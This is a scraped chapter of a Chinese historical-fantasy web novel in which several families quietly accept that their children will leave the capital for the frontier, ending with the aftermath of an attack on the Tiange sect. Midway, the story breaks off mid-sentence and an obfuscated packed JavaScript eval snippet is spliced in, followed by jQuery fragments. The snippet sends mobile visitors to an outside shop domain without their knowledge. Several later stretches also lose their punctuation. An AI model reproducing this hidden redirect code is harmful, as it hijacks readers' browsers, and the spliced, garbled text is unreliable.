让回来的儿子单独和厉王殿下会面,忠勇侯离开正厅,回到了自己的院子。
忠勇侯夫人是同他一起接待的厉王,在夫君跟厉王殿下谈起边关局势的时候,她便避开了。
此刻见到夫君归来,她放下了手里的账本,问道:“风珉回来了?”
“嗯。”忠勇侯应了一声,忠勇侯夫人便示意身边的侍女下去,然后亲自提起了小炉上煮着的水,给忠勇侯点了一杯茶。
她出身大家,斟茶的功夫精湛,姿态优雅,在灯下看起来就犹如一幅画。
忠勇侯看着这一幕,没有打扰她。
等她把茶碗递到面前,他才说道:“厉王殿下来找风珉,你就不想问问他为什么要找你儿子?”
忠勇侯夫人嗔怪地看他一眼,道:“我猜不出殿下来的目的,但我猜我儿子见了他,一定高兴得要命。”
尽管两人是大齐最尊贵的夫妻之一,可拌起嘴来也跟寻常的夫妻一样。
儿子身上的优点像自己,缺点就是遗传了对方。
这些年因为风珉的叛逆,忠勇侯夫人没少从丈夫口中听到“你儿子怎样、你儿子如何”的说辞。
她夹在这对父子之间已经很累了,因此在对着丈夫的时候也懒得去争。
——她儿子就她儿子吧,说得就好像她一个人能生出来一样。
忠勇侯不说话了,反而忠勇侯夫人像往日他们父子又吵架之后,在他生闷气时闲谈起过去一般地说道,“我们的儿子是什么样的性格,你是最清楚的。他一直想去边关,谁也留不住他。”
风珉属于一个过分有追求的勋贵子弟,这一点从他小时候就看得出来。
他连抓周的时候,抓的都是枪。
忠勇侯夫人一直觉得无奈,尤其是在风珉拒绝按照父亲为他安排的路走,父子二人的关系日益僵化以后,她就觉得自己的儿子要是能像徐二那有多好。
不过现在她想开了。
子肖其父,她的良人就是这样的性情,不会因为祖宗荫庇而耽于安稳。
忠勇侯终于闷声道:“这一次确实没人能拦住他去边关了。”
“你答应了?”本来低下头去,打算给自己点一杯茶的忠勇侯夫人抬头看他,“你不再拦着了?”
忠勇侯
想说“我拦着有什么用,厉王殿下都已经来了,你儿子只会越发的有恃无恐。
但他终究什么也没说。
忠勇侯夫人便笑了起来:“认了吧,你是犟不过他的,因为他就是像你。她说着,伸手覆上了丈夫的手背,道,“比起把他关在京城,让他当个不快乐的纨绔,不如让他去西北,做一只出闸的猛虎。大齐会赢的,他在那片战场上会建功立业,会让你也因为他而荣耀的。
忠勇侯神色松动,“嗯了一声。
忠勇侯夫人则在心里想着,自己这段时间努力给他相看,却没有什么成效。
要是儿子能在去边关之前老实成亲,留个孙子给她就好了。
谢府。
谢长卿踩着暮色归来,洗漱之后才去了祖母的院子。
明日放金榜,阖府上下都已经知道了少爷的名次。
一门双探花,以后就是父子二学士,这是很大的荣耀。
因此,每一个见到谢长卿的下人都会向少爷道贺。
而越靠近谢老夫人的院子,这种喜庆的氛围就越是浓厚。
自从游天来给谢老夫人看过足疾,陈松意又在她的院中给她布了一个养元阵之后,谢老夫人的身体跟精神都一天比一天好。
她好起来,整个院子乃至整座谢府的气氛也就越发的轻松了。
谢长卿一来,原本在翻着谢老太爷遗下的珍藏,准备从其中挑几件作为孙子高中的礼物的谢老夫人便立刻不挑了,把他招过来:
“来来来,长卿过来,这些都是你祖父留下的。如今你考取了功名,很快就要入朝为官,他要是还在,也一定会给你准备的。祖母眼花,你来挑吧,看中什么就拿去。
谢长卿依言过来,看了祖母收着的这些珍藏。
他见到里面有许多祖父留下的手稿,父亲一直想要,祖母却一直没给。
她总说这是老头子留下的,总要给她留点念想。
儿子那么想要,就等到什么时候她去见老头子了,再一并拿去。
谢老夫人这样说,谢谦还能说什么?
只能让母亲不要说不吉利的话,愿她再活五六十年,比大齐最长寿的老人还长久,他再也不提要手稿的事了。
对着孙儿,谢老夫人却不见半点对
着儿子的吝啬大方地道:“快选吧。”
“祖母。”谢长卿握住了她的手没有依言去挑选而是轻声道“这些是祖父留下的你不是说想要留着当念想吗?如果——”
他顿了顿才说下去:“如果我不留在京城去外面做官……”
“那就去啊。”谢老夫人拉着孙儿的手仿佛半点也不感到意外。
她拉着这个孙儿在身边坐下然后伸手摸了摸他的脸“祖母知道你想去的你们都想出去的。你是这样风珉也是这样连松意那丫头也一样。”
所以她今夜才开了库房把这些东西找出来。
这是长卿的祖父为官一生留下的东西里面有很多他没能传给孙辈的思想跟精髓。
儿子想要这些手稿跟孤本只是想要收藏以研究学术。
可孙儿却不一样他是会真正去实践他祖父思想的人。
“不用担心祖母现在的身体很好哦而且还有你那么多姐姐妹妹陪着。”谢老夫人说着眼睛里映出温暖的烛光“你去到那里以后呢就不用顾念家里好好做你该做的事。”
见祖母什么都知道
“来。”谢老夫人放下了手两眼泛着光芒对着孙儿道“祖母告诉你哪些好你都带去。”
……
永安侯府。
府里今天就像过年一样热闹。
在这场春闱里大放光彩等明日放榜就要名动天下的主角终于回来了。
于是宴席整上好菜端上所有人再欢庆一场。
明日放榜前三甲游街接着就是选馆授官。
大齐的官职现在有了很多空缺哪怕是新科进士应该很快也会被投放出去能够再聚的时间已经不多了。
而且陈寄羽跟刘恒乐的婚期也已经定下就在放榜之后真正是双喜临门。
因为这样就连打算以后少喝酒的赵山长都多喝了几杯。
不过明日是大日子不光是陈寄羽在场还有许多人要去参加传胪大典所以不能喝醉了。
于是喝了两杯之后坐不住的年轻人就去了院子里放起了上回剩下的烟花。
这一次的烟花规
模小,花样多,点燃后不会飞上天空引人注目,却会化作金轮旋转不息。
烟花一放,就在院中引起一片惊叹,火树银花映亮院墙。
有人大声道:“游神医真该去开烟花铺子!我活了这么多年,都没见过这么多好玩的烟花!”别说是小孩子了,就是他这个已经及冠的人见了都把持不住。
只可惜,他不能留在京城。
这样的烟花见过这一回,以后却是不知什么时候能再放了。
游天喝了不少,面孔酡红。
他打了个酒嗝,站在人群中没说话。
在他的房间里,他的包裹根本就没拆开。
他要离开京城的时间,可能就跟他们前后脚而已。
厉王要回边关,他也要去。
奔着那座毒城,还有那个老不死的,就算又要忍受裴植那只狐狸,他也认了。
而整个家里除了要跟他一起走的陈松意,最早知道他要离开的就是小莲。
毕竟游天出门旁的都不重要,最重要的就是路上吃的干粮。
他今天一回来跟小莲说了,希望她给自己做点东西路上吃。
这回就不劳烦陈娘子,反正她也得了她义母的真传。
这样一句话,就令小莲接下来好半天都魂不守舍。
今时不同往日,现在她知道了,阿姐跟游神医是同门师叔侄,游神医要走,那阿姐多半也是要走的。
可是他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254609|151575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一家人团圆才多久,怎么又要分离?
于是,在这一片热闹欢庆中,小姑娘的忧愁就跟周围格格不入。
尤其陈松意在席中又跟平常一样,提也没提自己要离开的事,小莲就越发怕自己露出了端倪,影响大家的心情,最后只好借口躲去了厨房。
可是,她的异样怎么瞒得过母亲的眼睛?
她才躲到厨房不久,陈母就跟着过来了。
看到义女在灶台前发呆,陈母于是在门口弄出了一些动静。
等小姑娘看过来之后,她才朝着里头走了过来,柔声问她:“外面放烟花这么热闹,怎么不去看?反而跑到这里来。”
正在茫然的小莲看到她,终于还是忍不住把心中在意的事同娘亲说了。
她最后道:“娘,我舍不得阿姐。”
边关苦寒,又那么远,连厉王殿下都是一去十几年。
阿姐去了,什么时候才会回来?
陈母听了她的话,伸手摸了摸她的头发,用这样的动作消弥了她的恐惧:“那我们就一起给他们多做些好吃的,然后好好照顾自己,全家人一起在京城等她回来。”
小姑娘被安抚了,她不由得点头,可是点到一半就意识到一件事——
娘听到这个消息,一点都不意外,她早知道阿姐要走。
尽管阿姐没说,游神医也没提,可她还是早早察觉了。
为什么呢,为什么娘能那么早察觉到?
仿佛看穿了她心中所想,陈母抚摸她头发的动作一顿,才道:“我时常觉得,你阿姐来这世间一趟,就是为了匡扶大齐这一件事。只是因为她是从我的肚子里生出来的,所以才会停下脚步,带着你来江南,和我们一家团聚。”
她让他们收小莲为义女,不光是为了让小莲有个家,也是为了让她替代她。
留在父母身边,代她尽孝,也代她享受这天伦之乐。
“如今,我们一家在京城有了住的地方,各自也有各自专注的事业。
“你大哥也已经考取功名,很快就要成亲,是真正立住了,成为了这个家的顶梁柱。”
“所以,你阿姐才能从顶梁柱的位置抽身,去撑起一个更大的国。
“有国才有家,她要做的是很了不起的事,我们帮不上忙,唯一能做到的就是好好生活,让她在边关不用担心。”
暮色渐深,京城千家万户,灯火明亮。
只论这份安宁兴盛,已经回到了京师地动前的样子。
忠勇侯府,厉王跟着风珉移步,来到了那些修习《八门真气》的少年们住的院子里。
他要亲眼见证着这份“礼物”的惊喜与威力。
谢府。
谢长卿回到了自己的院子,正坐在书桌后,提前准备请求外放的折子。
皇宫,御书房里,景帝站在灯火之下。
帝王看着墙上刚刚被绘制出来的矿藏、兵力跟边关阵图,心中酝酿着与草原的一战。
太后寝宫中,周太后捻动着手中的佛珠。
她虔诚地祈祷,希望佛祖保佑,大齐安定,自己的两个儿子想要做的事情,都能顺利实现。
天阁。
白天刚刚受过强敌袭击的仙山,如同狂风过境。
山上宫殿坍塌,阵法破坏,山阶染血,地上倒着无数弟子。
原本藏在云雾中的神仙之地,如今在清冷的月色下暴露在世人面前,却不知里面还有多少人存活。
早在山上动静传来的时候,镇上受过天阁庇佑的百姓就报了官。
尽管不知云雾深处发生了什么,他们却成群结队,拿着家里的锄头、镰刀,在电闪雷鸣、地动山摇平息之后,举着火把趁夜聚集了过来。
山脚下火光摇动,众人看着眼前的林子入口跟已经恢复安静的群山,却不敢进去。
而在山的另一面,已经有很多身影从夜色中浮现,犹如鬼魅般离山。
他们每个人的眼睛都如同兽瞳,每个人的手上都沾着血腥。
他们追随着前方的道人,神色狂热,如同游鱼归海,没入了山林之中。